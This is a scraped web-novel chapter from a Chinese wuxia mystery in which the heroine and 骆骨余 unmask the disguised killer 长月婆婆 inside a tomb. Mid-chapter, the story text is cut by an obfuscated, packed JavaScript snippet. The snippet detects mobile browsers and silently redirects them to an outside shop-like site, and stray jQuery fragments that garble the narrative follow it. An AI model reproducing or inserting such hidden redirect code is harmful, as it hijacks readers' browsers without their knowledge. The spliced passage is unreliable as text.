默认冷灰
24号文字
方正启体

26. 第26章

作者:唐宋大王本书字数:K更新时间:
    “掉落时,你看到了一个老熟人——假冒方尽的不宜郎。”


    “看到不宜郎的面貌,你曾说过一句‘怎么这么……’,我那时以为你想说的是‘怎么这么年轻’。”


    “现在想想,恐怕不是,你那时想说的,当是‘怎么这么眼熟’。”


    黎不晚定定看着长月婆婆,问:“我讲说的这一切,可是对的?”


    长月婆婆不言,只是眨眼。


    黎不晚只得又道:“……还可以追溯得更早。”


    “还记不记得你在客栈初次现身的时候?”


    “那时江湖客们正嘴巴里长河,对灭门案乱乱瞎猜。他们说到长月婆婆是尽玉钟姘头的时候,你愤怒地站起身,回了一句‘胡说八道’。


    那时大家都以为你是在替尽玉钟鸣不平。


    如今想想,当时的你并不是真的想替尽玉钟说话,而是为了维护长月婆婆,也就是你本人的形象罢了。


    还有,在障毒林,所有人都追进林中指认我是凶手的时候,你赶过来,说了一句‘怎么可能是她’。


    我那时以为是因为你把我当朋友、相信我,才会说这句话。


    但我现在明白了,你能那么确定凶手不是我,不是因为你把我当朋友、相信我,而是因为,你才是那个凶手。


    并且作为凶手的自负,你不允许被别人抢了风头。


    我被当作杀死茅大的嫌疑人关在宅中时,你常来与我玩闹,最喜欢捏我的脸。


    我想,那也应该不是出于亲昵吧。


    你夸我的脸‘像染了胭粉的鸡蛋’,是不是因为,我这张脸,是你选好的下一张脸?”


    黎不晚说得磕磕绊绊,但尽力表述完整了。


    她抿了抿唇,望进对面人的眼睛里,“我说的这些,可也是对的?”


    “小雪。”


    黎不晚道破真凶身份。


    “或者应该叫你,长月婆婆。”她圆圆的眼睛里有很多难过。


    墓中一片寂静。


    众人还在消化眼前情景。


    昨天他们以为不宜郎要抓黎不晚,结果不宜郎今天抓了流衫;


    今天他们以为长月婆婆是流衫,结果一转眼长月婆婆又成了方雪仪。


    众人有点乱了。


    不宜郎却长叹一声,松开了流衫。


    见事已至此,他撕下了面上的白眉胡须,露出了本来的丑陋面目。


    他看起来三十多岁的模样,不过也只是看起来罢了。


    不宜郎的声音泄露了他生命的苍老,“人呐,初入江湖,总想着轰轰烈烈,轻狂此生。”


    “直到老了才会发现,原来在江湖里,连一个落俗的人生都那么难得。”


    苍然的声音响起,不宜郎看向“方雪仪”,道一句:“长月,不然,算了吧。”


    他已年过半百,她又何尝不是。


    伪装的面目再年轻,也终究会有破相的一天。


    纠缠如毒蛇,执着如冤鬼。自十三年前定下婚事,不宜郎就一直追寻在长月婆婆身后。


    他的目光从未给过别人。他想见的、想寻的,从来都只有长月一人。


    不宜郎寻着长月的踪迹一路追到了八卦镇,认出了顶替尽家浣衣女“方雪仪”的,就是长月。


    于是他拦截了书信,假扮成了方雪仪的爷爷方尽,以此接近、守护在长月身边。


    他明知阅岁山在查的打更人就是长月,还甘愿站出来替她冒名。


    真假爷爷事发时,众人都以为是他将大家打落了竹林深坑去。


    其实只有他自己知道,出手的是他身旁伪装成“方雪仪”的长月。


    也是此时他才确定,长月定然与尽家灭门一案脱不了干系。


    但他仍然甘愿替她顶包。


    因此他才在坠落深坑后掳走棺材,做出一副他就是凶手的假象,让众人将怀疑的目光转移到他身上,以期给长月留出更多安全的空间。


    昨日他说完来此“为寻一人”后故意抓走了黎不晚,目的也是为了混淆众人耳目,给长月制造脱身的机会。


    今日抓流衫亦是同样目的,他大喊的一声‘走’,看似是要携了流衫离开,其实是声东击西,在暗示长月快走。


    可惜,长月根本不会走。


    “你痴心一片,却根本不知她想要的究竟是什么。”穆刻玉安摇头开了口。


    他本来缩在角落,尽量让自己不被人注意,根本不想参与到此事之中。


    但听完这些,又实在忍不住感慨:“可悲可悲,可叹可叹。”


    众人目光扫了过来,祝卿卿赶忙掐他一把,“主子闭嘴。”


    穆刻玉安马上噤声。


    受到指控的“方雪仪”一脸震惊悲痛。


    她不可置信道:“你们,阿黎,你……你们竟然都认为是我?”


    她哽咽一声,眼里不由得噙了泪珠道:“这些全是鬼话呀!”很是委屈。


    黎不晚默了下,摇头,“不是鬼话。”


    只得说得更多些,“大家可以回想,今日来到这死人坟时的情景。”


    黎不晚回溯道:“当时骆骨余告诉不宜郎,他想见的人进去坟墓就能看到。


    其实不宜郎并未马上相信,因为他在进去坟墓前,有一个扫视众人的动作。


    扫视一圈后,他才甘愿走进了坟墓。


    这说明,当时在他扫视的众人中,没有他想见的人。所以他才会相信骆骨余说的话,最终进去了坟墓里。


    走到坟墓里的壁画前,那里已是尽头,因此不宜郎回了头。


    回头后,他笑了,说了句‘果然’。


    这说明,此时他已得偿所愿,确实见到了想见的人。


    也就是说,不宜郎想见的人在这时已经跟随众人出现在了坟墓里。


    开始不在众人中,直到到了墓里才现身。同时满足这两个条件的人,仅有一开始未下马车未露面,后来又跟随众人一同进墓的‘方雪仪’。


    我跟着不宜郎回头,才发现这一切很容易便可以看得清楚。


    也是这时,我才不得不确定,不宜郎想见的人,就是你。


    所以长月婆婆,也是你。”


    黎不晚声音不大,却不乏铮然之感。


    “方雪仪”听了,连连摇头,蒙冤委屈的抽泣声响起,“怎么可能……”她哽咽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131265|194789||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    否认。


    这时候了竟还不肯脱下这层皮,还在狡辩。


    黎不晚眉头皱了起来,“好看做事好看当,你……”实在不知道还能再怎么才能让她现出真面目。


    孟厘正听得精彩,听到最后一句,凑过来小声纠正道:“是‘好汉’。”提醒黎不晚。


    黎不晚一懵,“啊?”


    骆骨余袖摆微拂,在此时看向了“方雪仪”。


    他开口,侧眉一句:“我若是你,绝不在此时哭泣。”接过了此事。


    泣声微妙地一顿,“方雪仪”楚楚可怜地抬起头,似乎对此话不解。


    泪珠还在她脸上扑簌簌地滚落。


    黎不晚看到后一愣,叹息一声:“如今,真的是雪花化了的春天了。”


    雪花化的了春天,有美好,也有泥泞。眼下“方雪仪”这张脸,可以说跟美好已经毫无干系。


    她的脸蛋被泪水冲蚀得狼藉不堪,像极了化雪时铺满了泥泞的长街。


    “怪不得姓骆的向我要了孟家蚀虫香。”孟厘看到“方雪仪”的脸,恍然大悟。


    骆骨余一早便吩咐在马车燃了此香。


    “方雪仪”一路坐车而来,面皮早被此香熏透。


    蚀虫香遇咸水有剥落死皮的作用。假的面皮,自然经不起这般泪水冲蚀。


    “方雪仪”抬手摸脸颊,脸上的假脸皮果然像蛇蜕一样簌簌掉落下来。


    这是她的命门。


    娇美的面容被破坏,“方雪仪”眼神一下变了。


    她没了装模作样的心情,楚楚可怜的好风仪也再维持不住。


    “方雪仪”收了泪,冷冷乜着眼道:“你是怎么发现的?”


    能提前燃香布局设计她,定然是早就发现了。


    她想不通哪里露了破绽。


    骆骨余道一句:“障毒林。”


    见众人不解,骆骨余徐徐道:“第一次在障毒林中,你对着黎不晚说‘怎么可能是她’的时候,就已经引起了我的怀疑。


    你不是疑问,而是陈述。


    试问,在当时有明显线索指向凶手是黎不晚的情况下,什么人才会如此笃定灭门凶手不是她?


    而后我又得知,黎不晚逃出障毒林迷路之际,是你接应了她,带她离开林中。


    可是,若你真的和大家一样是刚到八卦镇不久,又怎会对林子如此熟悉?”


    “从那时起,你就盯上了我?”“方雪仪”唇角起了个冷诮的弧度,眼神愈发冷了下来。


    “那时只是怀疑罢了。”骆骨余轻描带过。


    “直到在地底隧洞中,你在我面前擦了下脸颊……”清眉微蹙,摇头,“眼睛看不见,耳朵便尤其灵敏,怎能听不出你是两重脸皮?”


    骆骨余一语双关的讽语闲闲落地。


    “方雪仪”冷笑一声。


    当时地底环境复杂,她的计划被意外打破,无法速战速决,怕人皮假面撑不住,所以才抬手确认了一下。


    没想到就这细微的一个小动作,竟被骆骨余抓出了破绽。


    “方雪仪”,哦不,长月婆婆,索性直接揭掉了面皮,道:“你们说得全都没错。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)